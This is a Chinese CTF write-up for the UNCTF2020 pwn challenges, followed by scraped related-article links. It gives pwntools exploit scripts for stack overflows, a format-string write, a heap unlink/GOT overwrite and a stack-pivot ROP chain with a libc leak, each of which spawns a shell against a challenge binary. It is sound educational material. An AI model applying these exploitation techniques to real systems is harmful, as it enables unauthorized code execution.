UNCTF2020 pwn题目
YLBNB
用pwntools直接连接,然后接受就行。
1 from pwn import *
2
3 p = remote('45.158.33.12',8000)
4 context.log_level = 'debug'
5 print p.recvuntil('}')[-30:]
fan
简单的栈溢出,直接覆盖返回地址为shell的地址就行。
1 from pwn import *
2
3 p = process('./pwn')
4 #p = remote('node2.hackingfor.fun',33550 )
5
6 shell = 0x000400735
7 payload = 'a'*0x30 + 'bbbbbbbb' + p64(shell)
8 p.send(payload)
9 p.interactive()
do_you_like_me?
和上一题几乎一模一样...估计是不同学校的出题人没有商量好。
1 from pwn import *
2
3 p = process('./pwn')
4 #p = remote('node2.hackingfor.fun',33436)
5
6 shell = 0x004006CD
7 payload = 'a'*0x10 + 'bbbbbbbb' + p64(shell)
8 p.send(payload)
9 p.interactive()
你真的会pwn嘛?
存在格式化字符串漏洞,修改bss上的数据不为0就可以了。这里用的pwntools的模块直接生成的。
1 from pwn import *
2
3 p = process('./pwn')
4 #p = remote('node2.hackingfor.fun',38272)
5 context(os='linux',arch='amd64',log_level='debug')
6
7 attack_addr = 0x060107C
8 payload = payload = fmtstr_payload(10,{attack_addr:1})
9 p.sendline(payload)
10 p.interactive()
baby_heap
程序本身有system("/bin/sh"),然后存在off-by-one漏洞,我这里利用unlink拿到一个可以读写的指针,打free_got让指向shell,然后free就拿到shell了。这题还侥幸拿了一血。
1 from pwn import *
2
3 p = process('./pwn')
4 #p = remote('node2.hackingfor.fun',32488)
5 elf = ELF('./pwn')
6 context.log_level = 'debug'
7
8 def duan():
9 gdb.attach(p)
10 pause()
11
12 def add(size,content):
13 p.sendlineafter('>> ','1')
14 p.sendlineafter('size?\n',str(size))
15 p.sendafter('content?\n',content)
16
17 def edit(index,content):
18 p.sendlineafter('>> ','4')
19 p.sendlineafter('index ?',str(index))
20 p.sendafter('content ?\n',content)
21
22 def delete(index):
23 p.sendlineafter('>> ','2')
24 p.sendlineafter('index ?',str(index))
25
26 fd = 0x0602160-0x18
27 bk = 0x0602160-0x10
28 shell = 0x040097F
29 free_got = elf.got['free']
30 system_got = elf.got['system']
31
32 add(0x88,'bhxdn') #0
33 add(0x90,'bhxdn') #1
34 edit(0,p64(0)*2+p64(fd)+p64(bk)+p64(0)*12+p64(0x80)+'\xa0')
35 delete(1)
36 edit(0,p64(0)*3+p64(free_got))
37 edit(0,p64(shell))
38 delete(0)
39 p.interactive()
40 #duan()
keer's bug
存在栈溢出,但是没有足够的长度让我们写rop,这里先修改rbp为bss段上的地址,然后将返回地址覆盖成main函数中间的地方。然后再一个read,在bss段写rop泄露libc,然后栈转移回去bss段执行leak libc_base,之后再执行main函数,将返回地址覆盖成one_gadget拿shell,除了做csu,还是第一次知道栈能这么玩。(感谢L0ne1y师傅的指点)
1 from pwn import *
2
3 p = process('./pwn')
4 #p = remote('node2.hackingfor.fun',36522)
5 elf = ELF('./pwn')
6 libc = ELF('./libc.so.6')
7 context.log_level = 'debug'
8
9 #gdb.attach(p,'b *0x00040060D')
10
11 buf = 0x0601060+0x100
12 pop_rsi_r15 = 0x000400671
13 pop_rdi = 0x000400673
14 fun_got = elf.got['write']
15 write_plt = elf.plt['write']
16 read_plt = elf.plt['read']
17 main = elf.symbols['main']
18 leave_ret = 0x0040060D
19
20 ret = 0x004005ED
21 payload = 'a'*0x50+p64(buf)+p64(ret)
22 p.sendafter('keer!!!\n',payload)
23
24 sleep(0.5)
25 payload = p64(pop_rdi)+p64(1)
26 payload +=p64(pop_rsi_r15)+p64(fun_got)+p64(0)+p64(write_plt)
27 payload +=p64(main)+p64(0)*3+p64(buf-0x58)+p64(leave_ret)
28 p.send(payload)
29 libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.symbols['write']
30 print hex(libc_base)
31
32 shell = libc_base + 0xf0364
33 payload =p64(0)*11+p64(shell)
34 #gdb.attach(p)
35 p.send(payload)
36 p.interactive()
UNCTF2020 pwn题目的更多相关文章
- SCTF 2014 pwn题目分析
因为最近要去做ctf比赛的这一块所以就针对性的分析一下近些年的各大比赛的PWN题目.主防项目目前先搁置起来了,等比赛打完再去搞吧. 这次分析的是去年的SCTF的赛题,是我的学长们出的题,个人感觉还是很 ...
- 解决pwn题目加载指定libc版本的问题
因为本地和远程的libc版本不同,pwn题目调试起来会有影响,所以来记录一下用patchelf和glibc-all-in-one来解决这个问题过程. 下载工具 下载patchelfgit clone ...
- BIT 常态化在线CTF系统 pwn题目
偶然得到这个平台,发现是BIT的CTF平台,应该是平时的阶段性的训练题目.看了看题,其他方向的题目感觉都是入门题,但是pwn题目,发现还是比入门题难一点点的,来记录一下. pwn1 栈上任意位置的读写 ...
- 2020 NUPCTF pwn题目
去年的一场比赛,今年来把去年不会做的题目来看一下,只在buu找到三道题,剩下两道好像是内核题,算了,估计找到也不会做. npuctf_2020_level2 bss段上的格式化字符串漏洞的利用. 程序 ...
- WHUCTF PWN题目
花了大概两天时间来做WHUCTF的题目,第一次排名这么靠前.首先感谢武汉大学举办这次萌新赛,也感谢fmyy的师傅的耐心指导,让我第一次做出堆的题目来. pwnpwnpwn 这是一道栈题目,32位程序, ...
- 使用pwn_deploy_chroot部署国赛pwn比赛题目
目录 使用pwn_deploy_chroot部署国赛pwn比赛题目 一.前言 二.Docker 三.部署镜像 四.pwn_deploy_chroot 五.check && exp 六. ...
- pwn学习之二
刚刚开始学习pwn,记录一下自己学习的过程. 今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字 ...
- pwn学习之一
刚刚开始学习pwn,记录一下自己学习的过程. 今天完成了第一道pwn题目的解答,做的题目是2017年TSCTF的bad egg,通过这道题学习到了一种getshell的方法:通过在大小不够存储shel ...
- Linux pwn入门教程(3)——ROP技术
作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42530-1-1.html 0×00 背景 在上一篇教程的<shellco ...
随机推荐
- 测试平台系列(79) 编写Redis配置功能(下)
大家好~我是米洛! 我正在从0到1打造一个开源的接口测试平台, 也在编写一套与之对应的完整教程,希望大家多多支持. 欢迎关注我的公众号测试开发坑货,获取最新文章教程! 回顾 上一节我们提出了优化Dao ...
- nrf52810/52832开发板能跑,自己的PCB不能跑的原因
1.PCB图片对比 这是我的开发板原理图: 这是我画的PCB原理图: 发现其实开发板上就是比我的多了两个外部晶振. 例程代码一般都是用外部晶振作为时钟,所以用例程的代码跑不通我的PCB. 2.解决办法 ...
- lilypond和弦及其转位的表示
在lilypond,如果要打和弦的话,有所谓的chordmode,命令就是\chordmode {} 要使用chordmode需要一些基本的和弦命名的知识,最好先补一下乐理 实际上lilypond的官 ...
- tomcat的log日志乱码解决方案
Intellij idea Tomcat输出log中文乱码 配置tomcat在VM options添加-Dfile.encoding=UTF8 -Dsun.jnu.encoding=UTF8 重启后控 ...
- pechkin 导出https路径的图片
使用Pechkin.Synchronized可以方便导出html为pdf,但是对于https路径的图片并不支持,仅支持http路径下的图片 解决方案:图片使用本地绝对路径(相对于服务器) 以下是我获取 ...
- CF1578J Just Kingdom
考虑一个点被填满则他需要从其父亲得到\(q_u = \sum_{v = u\ or\ v \in son_u}m_v\) 那么考虑如何这样操作. 我当时world final做的时候,是从上往下遍历, ...
- NOIP2021 游记
不要挂分不要挂分不要挂分不要挂分不要挂分不要挂分不要挂分不要挂分不要挂分不要挂分不要挂分不要挂分不要挂分不要挂分不要挂分不要挂分释迦牟尼脚绽莲花菩提达摩你真伟大天上天下唯我独尊如来佛祖太上老君耶稣耶稣 ...
- DirectX12 3D 游戏开发与实战第十章内容(下)
仅供个人学习使用,请勿转载.谢谢! 10.混合 本章将研究混合技术,混合技术可以让我们将当前需要光栅化的像素(也称为源像素)和之前已经光栅化到后台缓冲区的像素(也称为目标像素)进行融合.因此,该技术可 ...
- DirectX12 3D 游戏开发与实战第九章内容(上)
仅供个人学习使用,请勿转载. 9.纹理贴图 学习目标: 学习如何将局部纹理映射到网格三角形上 探究如何创建和启用纹理 学会如何通过纹理过滤来创建更加平滑的图像 探索如何使用寻址模式来进行多次纹理贴图 ...
- Matlab 代码注释
Matlab 代码注释 一直在找类似doxygen一样将程序注释发表成手册的方法,现在发现,Matlab的publish功能自己就能做到. Publish 简介 并非所有注释都能作为文本进行输出,MA ...